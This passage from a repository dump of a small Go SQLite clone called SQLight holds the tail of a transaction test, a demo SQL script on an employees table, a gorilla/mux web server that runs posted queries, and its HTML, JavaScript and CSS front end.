Nested transactions not allowed 340 | t.Run("Nested Transactions", func(t *testing.T) { 341 | err := db.Begin() 342 | if err != nil { 343 | t.Fatalf("Failed to begin first transaction: %v", err) 344 | } 345 | 346 | err = db.Begin() 347 | if err == nil { 348 | t.Error("Expected error when beginning nested transaction") 349 | } 350 | 351 | err = db.Rollback() 352 | if err != nil { 353 | t.Fatalf("Failed to rollback transaction: %v", err) 354 | } 355 | }) 356 | } 357 | -------------------------------------------------------------------------------- /tests/demo.sql: -------------------------------------------------------------------------------- 1 | -- SQLite Clone Demo 2 | -- This file demonstrates all the functionality of the SQLite clone 3 | 4 | -- 1. CREATE TABLE with various constraints 5 | CREATE TABLE employees ( 6 | id INTEGER PRIMARY KEY, 7 | name TEXT UNIQUE NOT NULL, 8 | department TEXT NOT NULL, 9 | salary FLOAT 10 | ); 11 | 12 | -- Display table structure 13 | DESCRIBE employees; 14 | 15 | -- 2. INSERT with various data types 16 | -- Basic inserts 17 | INSERT INTO employees (id, name, department, salary) VALUES (1, 'John Doe', 'Engineering', 85000.50); 18 | INSERT INTO employees (id, name, department, salary) VALUES (2, 'Jane Smith', 'Marketing', 75000); 19 | INSERT INTO employees (id, name, department, salary) VALUES (3, 'Bob Johnson', 'Finance', 90000); 20 | INSERT INTO employees (id, name, department, salary) VALUES (4, 'Alice Brown', 'Engineering', 82000); 21 | INSERT INTO employees (id, name, department, salary) VALUES (5, 'Charlie Davis', 'HR', 65000); 22 | 23 | -- Show all records 24 | SELECT * FROM employees; 25 | 26 | -- 3. Constraint testing 27 | -- PRIMARY KEY constraint (should fail) 28 | INSERT INTO employees (id, name, department, salary) VALUES (1, 'Duplicate ID', 'Research', 95000); 29 | 30 | -- UNIQUE constraint (should fail) 31 | INSERT INTO employees (id, name, department, salary) VALUES (6, 'John Doe', 'Research', 95000); 32 | 33 | -- NOT NULL constraint (should fail) 34 | INSERT INTO employees (id, name, salary) VALUES (7, 'Missing Department', 70000); 35 | 36 | -- 4. SELECT with various conditions 37 | -- Select all columns with WHERE clause 38 | SELECT * FROM employees WHERE department = 'Engineering'; 39 | 40 | -- Select specific columns 41 | SELECT name, salary FROM employees; 42 | 43 | -- Select with numeric comparison 44 | SELECT * FROM employees WHERE salary > 80000; 45 | 46 | -- Select with string condition 47 | SELECT * FROM employees WHERE name = 'Jane Smith'; 48 | 49 | -- Case insensitive column and table names 50 | SELECT NAME, DEPARTMENT FROM EMPLOYEES WHERE DEPARTMENT = 'Marketing'; 51 | 52 | -- 5. DELETE operations 53 | -- Delete with WHERE clause 54 | DELETE FROM employees WHERE id = 5; 55 | SELECT * FROM employees; 56 | 57 | -- Delete with string condition 58 | DELETE FROM employees WHERE name = 'Bob Johnson'; 59 | SELECT * FROM employees; 60 | 61 | -- Delete with multiple conditions 62 | INSERT INTO employees (id, name, department, salary) VALUES (6, 'Test User', 'Test Dept', 50000); 63 | INSERT INTO employees (id, name, department, salary) VALUES (7, 'Test User2', 'Test Dept', 55000); 64 | SELECT * FROM employees; 65 | DELETE FROM employees WHERE department = 'Test Dept' AND salary = 50000; 66 | SELECT * FROM employees; 67 | 68 | -- 6. Transaction support 69 | -- Begin a transaction 70 | BEGIN TRANSACTION; 71 | 72 | -- Make some changes 73 | INSERT INTO employees (id, name, department, salary) VALUES (8, 'Transaction Test', 'Legal', 72000); 74 | DELETE FROM employees WHERE id = 7; 75 | SELECT * FROM employees; 76 | 77 | -- Rollback the transaction 78 | ROLLBACK; 79 | 80 | -- Verify changes were rolled back 81 | SELECT * FROM employees; 82 | 83 | -- Begin another transaction 84 | BEGIN TRANSACTION; 85 | 86 | -- Make some changes 87 | INSERT INTO employees (id, name, department, salary) VALUES (8, 'Committed User', 'Legal', 72000); 88 | DELETE FROM employees WHERE id = 7; 89 | SELECT * FROM employees; 90 | 91 | -- Commit the transaction 92 | COMMIT; 93 | 94 | -- Verify changes were committed 95 | SELECT * FROM employees; 96 | 97 | -- 7. DROP TABLE 98 | -- Create a temporary table 99 | CREATE TABLE temp_table (id INT, name TEXT); 100 | INSERT INTO temp_table (id, name) VALUES (1, 'Temporary'); 101 | SELECT * FROM temp_table; 102 | 103 | -- Drop the table 104 | DROP TABLE temp_table; 105 | 106 | -- 8. DELETE without WHERE clause 107 | CREATE TABLE test_delete_all (id INT, name TEXT); 108 | INSERT INTO test_delete_all (id, name) VALUES (1, 'Delete Me'); 109 | INSERT INTO test_delete_all (id, name) VALUES (2, 'Delete Me Too'); 110 | SELECT * FROM test_delete_all; 111 | 112 | -- Delete all records 113 | DELETE FROM test_delete_all; 114 | SELECT * FROM test_delete_all; 115 | 116 | -- Final display of main table 117 | SELECT * FROM employees; 118 | -------------------------------------------------------------------------------- /web/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "log" 7 | "net/http" 8 | "os" 9 | "path/filepath" 10 | "sort" 11 | "sqlight/pkg/db" 12 | "sqlight/pkg/sql" 13 | 14 | "github.com/gorilla/mux" 15 | ) 16 | 17 | type QueryRequest struct { 18 | Query string `json:"query"` 19 | } 20 | 21 | type QueryResponse struct { 22 | Success bool `json:"success"` 23 | Message string `json:"message,omitempty"` 24 | Records []map[string]interface{} `json:"records,omitempty"` 25 | Columns []string `json:"columns,omitempty"` 26 | } 27 | 28 | const dbFile = "database.json" 29 | 30 | func main() { 31 | // Load database 32 | database, err := db.NewDatabase(dbFile) 33 | if err != nil { 34 | log.Fatalf("Failed to load database: %v", err) 35 | } 36 | 37 | // Create router 38 | r := mux.NewRouter() 39 | 40 | // Serve static files 41 | r.PathPrefix("/static/").Handler(http.StripPrefix("/static/", http.FileServer(http.Dir("web/static")))) 42 | 43 | // Handle root path 44 | r.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { 45 | http.ServeFile(w, r, "web/static/index.html") 46 | }) 47 | 48 | // Handle query execution 49 | r.HandleFunc("/query", func(w http.ResponseWriter, r *http.Request) { 50 | w.Header().Set("Content-Type", "application/json") 51 | 52 | var req QueryRequest 53 | if err := json.NewDecoder(r.Body).Decode(&req); err != nil { 54 | json.NewEncoder(w).Encode(QueryResponse{ 55 | Success: false, 56 | Message: fmt.Sprintf("Invalid request: %v", err), 57 | }) 58 | return 59 | } 60 | 61 | // Parse and execute the query 62 | stmt, err := sql.Parse(req.Query) 63 | if err != nil { 64 | json.NewEncoder(w).Encode(QueryResponse{ 65 | Success: false, 66 | Message: fmt.Sprintf("Parse error: %v", err), 67 | }) 68 | return 69 | } 70 | 71 | result, err := database.Execute(stmt) 72 | if err != nil { 73 | json.NewEncoder(w).Encode(QueryResponse{ 74 | Success: false, 75 | Message: fmt.Sprintf("Execution error: %v", err), 76 | }) 77 | return 78 | } 79 | 80 | // Save database after successful execution 81 | if err := database.Save(dbFile); err != nil { 82 | log.Printf("Failed to save database: %v", err) 83 | } 84 | 85 | // Convert records to map format and get sorted columns 86 | var records []map[string]interface{} 87 | var columns []string 88 | 89 | // Process records for SELECT queries 90 | if result.Records != nil && len(result.Records) > 0 { 91 | // Use columns from the result 92 | columns = result.Columns 93 | if len(columns) == 0 && len(result.Records) > 0 { 94 | // If columns not provided, get them from the first record 95 | for col := range result.Records[0].Columns { 96 | columns = append(columns, col) 97 | } 98 | sort.Strings(columns) 99 | } 100 | 101 | // Convert records to maps 102 | for _, record := range result.Records { 103 | recordMap := make(map[string]interface{}) 104 | for _, col := range columns { 105 | recordMap[col] = record.Columns[col] 106 | } 107 | records = append(records, recordMap) 108 | } 109 | 110 | // Log for debugging 111 | log.Printf("Query: %s", req.Query) 112 | log.Printf("Number of records: %d", len(records)) 113 | log.Printf("Columns: %v", columns) 114 | if len(records) > 0 { 115 | log.Printf("First record: %+v", records[0]) 116 | } 117 | } 118 | 119 | // Send response 120 | response := QueryResponse{ 121 | Success: true, 122 | Message: result.Message, 123 | Records: records, 124 | Columns: columns, 125 | } 126 | 127 | // Log response for debugging 128 | log.Printf("Response: %+v", response) 129 | 130 | if err := json.NewEncoder(w).Encode(response); err != nil { 131 | log.Printf("Failed to encode response: %v", err) 132 | http.Error(w, "Internal server error", http.StatusInternalServerError) 133 | return 134 | } 135 | }) 136 | 137 | // Handle table list 138 | r.HandleFunc("/tables", func(w http.ResponseWriter, r *http.Request) { 139 | tables := database.GetTables() 140 | json.NewEncoder(w).Encode(map[string][]string{"tables": tables}) 141 | }) 142 | 143 | // Ensure the database file directory exists 144 | if err := os.MkdirAll(filepath.Dir(dbFile), 0755); err != nil { 145 | log.Fatal(err) 146 | } 147 | 148 | // Start server 149 | port := ":8081" 150 | log.Printf("Server starting on http://localhost%s", port) 151 | log.Fatal(http.ListenAndServe(port, r)) 152 | } 153 | -------------------------------------------------------------------------------- /web/static/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | SQLight Web Interface 7 | 8 | 9 | 10 |
11 |
12 |

SQLight Web Interface

13 |
14 | 15 |
16 | 20 | 21 |
22 |
23 | 24 | 25 |
26 | 27 |
28 |
29 |
30 |
31 | 32 |
33 |
34 |
35 |
36 |
37 |
38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /web/static/script.js: -------------------------------------------------------------------------------- 1 | // DOM Elements 2 | const queryInput = document.getElementById('queryInput'); 3 | const runQueryBtn = document.getElementById('runQuery'); 4 | const resultsDiv = document.getElementById('results'); 5 | const successDiv = document.getElementById('success'); 6 | const errorDiv = document.getElementById('error'); 7 | const tableList = document.getElementById('tableList'); 8 | 9 | // Helper functions 10 | const hideMessages = () => { 11 | successDiv.textContent = ''; 12 | successDiv.style.display = 'none'; 13 | errorDiv.textContent = ''; 14 | errorDiv.style.display = 'none'; 15 | }; 16 | 17 | const showSuccess = (message) => { 18 | successDiv.textContent = message; 19 | successDiv.style.display = 'block'; 20 | errorDiv.style.display = 'none'; 21 | }; 22 | 23 | const showError = (message) => { 24 | errorDiv.textContent = message; 25 | errorDiv.style.display = 'block'; 26 | successDiv.style.display = 'none'; 27 | }; 28 | 29 | // Helper function to create table from results 30 | const createTable = (records, columns) => { 31 | console.log('Creating table with:', { records, columns }); 32 | 33 | // Clear previous results 34 | resultsDiv.innerHTML = ''; 35 | 36 | if (!records || records.length === 0) { 37 | const emptyMsg = document.createElement('div'); 38 | emptyMsg.className = 'empty-message'; 39 | emptyMsg.textContent = 'No records found'; 40 | resultsDiv.appendChild(emptyMsg); 41 | return; 42 | } 43 | 44 | const table = document.createElement('table'); 45 | table.className = 'data-table'; 46 | 47 | // Create table header 48 | const thead = document.createElement('thead'); 49 | const headerRow = document.createElement('tr'); 50 | 51 | // Get column names from the result 52 | const columnNames = columns || Object.keys(records[0]); 53 | columnNames.forEach(key => { 54 | const th = document.createElement('th'); 55 | th.textContent = key; 56 | headerRow.appendChild(th); 57 | }); 58 | thead.appendChild(headerRow); 59 | table.appendChild(thead); 60 | 61 | // Create table body 62 | const tbody = document.createElement('tbody'); 63 | records.forEach(record => { 64 | const row = document.createElement('tr'); 65 | columnNames.forEach(key => { 66 | const td = document.createElement('td'); 67 | const value = record[key]; 68 | td.textContent = value === null ? 'NULL' : String(value); 69 | row.appendChild(td); 70 | }); 71 | tbody.appendChild(row); 72 | }); 73 | table.appendChild(tbody); 74 | 75 | // Append table to results div 76 | resultsDiv.appendChild(table); 77 | console.log('Table created and appended'); 78 | }; 79 | 80 | // Handle query execution 81 | const executeQuery = async () => { 82 | const query = queryInput.value.trim(); 83 | 84 | if (!query) { 85 | showError('Please enter a SQL query'); 86 | return; 87 | } 88 | 89 | try { 90 | runQueryBtn.disabled = true; 91 | runQueryBtn.textContent = 'Running...'; 92 | hideMessages(); 93 | resultsDiv.innerHTML = ''; 94 | 95 | const response = await fetch('/query', { 96 | method: 'POST', 97 | headers: { 98 | 'Content-Type': 'application/json', 99 | }, 100 | body: JSON.stringify({ query }), 101 | }); 102 | 103 | const data = await response.json(); 104 | console.log('Query response:', data); 105 | 106 | if (!data.success) { 107 | showError(data.message); 108 | return; 109 | } 110 | 111 | // Show success message based on query type 112 | const upperQuery = query.toUpperCase().trim(); 113 | if (upperQuery.startsWith('CREATE TABLE')) { 114 | showSuccess('Table created successfully'); 115 | await updateTableList(); 116 | } else if (upperQuery.startsWith('INSERT INTO')) { 117 | showSuccess('Record inserted successfully'); 118 | } else if (upperQuery.startsWith('DELETE')) { 119 | showSuccess(data.message || 'Records deleted successfully'); 120 | } else if (upperQuery.startsWith('SELECT')) { 121 | showSuccess(data.message || 'Query executed successfully'); 122 | createTable(data.records, data.columns); 123 | } else { 124 | showSuccess(data.message || 'Query executed successfully'); 125 | } 126 | 127 | } catch (error) { 128 | console.error('Query error:', error); 129 | showError('Failed to execute query: ' + error.message); 130 | } finally { 131 | runQueryBtn.disabled = false; 132 | runQueryBtn.textContent = 'Run Query'; 133 | } 134 | }; 135 | 136 | // Update table list 137 | const updateTableList = async () => { 138 | try { 139 | const response = await fetch('/tables'); 140 | const data = await response.json(); 141 | 142 | tableList.innerHTML = ''; 143 | data.tables.forEach(table => { 144 | const button = document.createElement('button'); 145 | button.className = 'table-button'; 146 | button.innerHTML = ` 147 |
148 | 📋 149 | ${table} 150 |
151 | `; 152 | button.addEventListener('click', () => { 153 | queryInput.value = `SELECT * FROM ${table};`; 154 | executeQuery(); 155 | }); 156 | tableList.appendChild(button); 157 | }); 158 | } catch (error) { 159 | console.error('Failed to update table list:', error); 160 | } 161 | }; 162 | 163 | // Event listeners 164 | runQueryBtn.addEventListener('click', executeQuery); 165 | queryInput.addEventListener('keydown', (e) => { 166 | if (e.key === 'Enter' && e.ctrlKey) { 167 | executeQuery(); 168 | } 169 | }); 170 | 171 | // Initialize 172 | document.addEventListener('DOMContentLoaded', () => { 173 | updateTableList(); 174 | 175 | // Add example queries 176 | queryInput.placeholder = `Enter your SQL query here... 177 | 178 | Example queries: 179 | CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, email TEXT); 180 | INSERT INTO users (name, email) VALUES ('John Doe', 'john@example.com'); 181 | SELECT * FROM users;`; 182 | }); 183 | -------------------------------------------------------------------------------- /web/static/styles.css: -------------------------------------------------------------------------------- 1 | :root { 2 | --primary-color: #2563eb; 3 | --text-color: #1e293b; 4 | --border-color: #e2e8f0; 5 | --background-color: #f8fafc; 6 | } 7 | 8 | body { 9 | margin: 0; 10 | padding: 0; 11 | font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; 12 | line-height: 1.5; 13 | color: var(--text-color); 14 | background-color: var(--background-color); 15 | } 16 | 17 | .container { 18 | max-width: 1200px; 19 | margin: 0 auto; 20 | padding: 2rem; 21 | } 22 | 23 | header { 24 | margin-bottom: 2rem; 25 | text-align: center; 26 | } 27 | 28 | header h1 { 29 | color: var(--primary-color); 30 | margin: 0; 31 | } 32 | 33 | .content { 34 | display: grid; 35 | grid-template-columns: 250px 1fr; 36 | gap: 2rem; 37 | background-color: white; 38 | border-radius: 8px; 39 | box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); 40 | padding: 1rem; 41 | } 42 | 43 | .sidebar { 44 | padding: 1rem; 45 | border-right: 1px solid var(--border-color); 46 | } 47 | 48 | .sidebar h2 { 49 | margin-top: 0; 50 | color: var(--text-color); 51 | font-size: 1.25rem; 52 | } 53 | 54 | #tableList { 55 | margin-top: 1rem; 56 | display: flex; 57 | flex-direction: column; 58 | gap: 0.5rem; 59 | } 60 | 61 | .table-button { 62 | width: 100%; 63 | padding: 0.75rem; 64 | background-color: white; 65 | border: 1px solid var(--border-color); 66 | border-radius: 6px; 67 | cursor: pointer; 68 | transition: all 0.2s ease; 69 | text-align: left; 70 | } 71 | 72 | .table-button:hover { 73 | background-color: #f8fafc; 74 | border-color: var(--primary-color); 75 | transform: translateX(4px); 76 | } 77 | 78 | .table-button-content { 79 | display: flex; 80 | align-items: center; 81 | gap: 0.75rem; 82 | } 83 | 84 | .table-icon { 85 | font-size: 1.25rem; 86 | color: var(--primary-color); 87 | } 88 | 89 | .table-name { 90 | font-size: 0.9rem; 91 | font-weight: 500; 92 | color: var(--text-color); 93 | } 94 | 95 | .main { 96 | flex: 1; 97 | padding: 1rem; 98 | } 99 | 100 | .query-section { 101 | margin-bottom: 1rem; 102 | } 103 | 104 | #queryInput { 105 | width: 100%; 106 | height: 150px; 107 | padding: 1rem; 108 | border: 1px solid var(--border-color); 109 | border-radius: 6px; 110 | font-family: monospace; 111 | font-size: 14px; 112 | resize: vertical; 113 | margin-bottom: 1rem; 114 | } 115 | 116 | #runQuery { 117 | background-color: var(--primary-color); 118 | color: white; 119 | border: none; 120 | padding: 0.75rem 1.5rem; 121 | border-radius: 6px; 122 | cursor: pointer; 123 | font-size: 16px; 124 | transition: background-color 0.2s; 125 | } 126 | 127 | #runQuery:hover { 128 | background-color: #1d4ed8; 129 | } 130 | 131 | #runQuery:disabled { 132 | background-color: #93c5fd; 133 | cursor: not-allowed; 134 | } 135 | 136 | .message-section { 137 | margin-bottom: 1rem; 138 | } 139 | 140 | .success { 141 | display: none; 142 | padding: 1rem; 143 | background-color: #dcfce7; 144 | color: #166534; 145 | border-radius: 6px; 146 | } 147 | 148 | .error { 149 | display: none; 150 | padding: 1rem; 151 | background-color: #fee2e2; 152 | color: #991b1b; 153 | border-radius: 6px; 154 | } 155 | 156 | .results-section { 157 | background-color: white; 158 | border-radius: 8px; 159 | box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); 160 | overflow: hidden; 161 | } 162 | 163 | #results { 164 | width: 100%; 165 | overflow-x: auto; 166 | } 167 | 168 | .data-table { 169 | width: 100%; 170 | border-collapse: collapse; 171 | margin: 0; 172 | font-size: 14px; 173 | } 174 | 175 | .data-table th, 176 | .data-table td { 177 | padding: 0.75rem 1rem; 178 | text-align: left; 179 | border: 1px solid var(--border-color); 180 | } 181 | 182 | .data-table th { 183 | background-color: #f1f5f9; 184 | font-weight: 600; 185 | white-space: nowrap; 186 | position: sticky; 187 | top: 0; 188 | } 189 | 190 | .data-table tr:nth-child(even) { 191 | background-color: #f8fafc; 192 | } 193 | 194 | .data-table tr:hover { 195 | background-color: #f1f5f9; 196 | } 197 | 198 | .empty-message { 199 | text-align: center; 200 | padding: 2rem; 201 | color: #64748b; 202 | font-style: italic; 203 | } 204 | 205 | .table-grid, .table-card { 206 | display: none; 207 | } 208 | 209 | @media (max-width: 768px) { 210 | .container { 211 | padding: 1rem; 212 | } 213 | 214 | .content { 215 | grid-template-columns: 1fr; 216 | } 217 | 218 | .sidebar { 219 | border-right: none; 220 | border-bottom: 1px solid var(--border-color); 221 | margin-bottom: 1rem; 222 | } 223 | } 224 | --------------------------------------------------------------------------------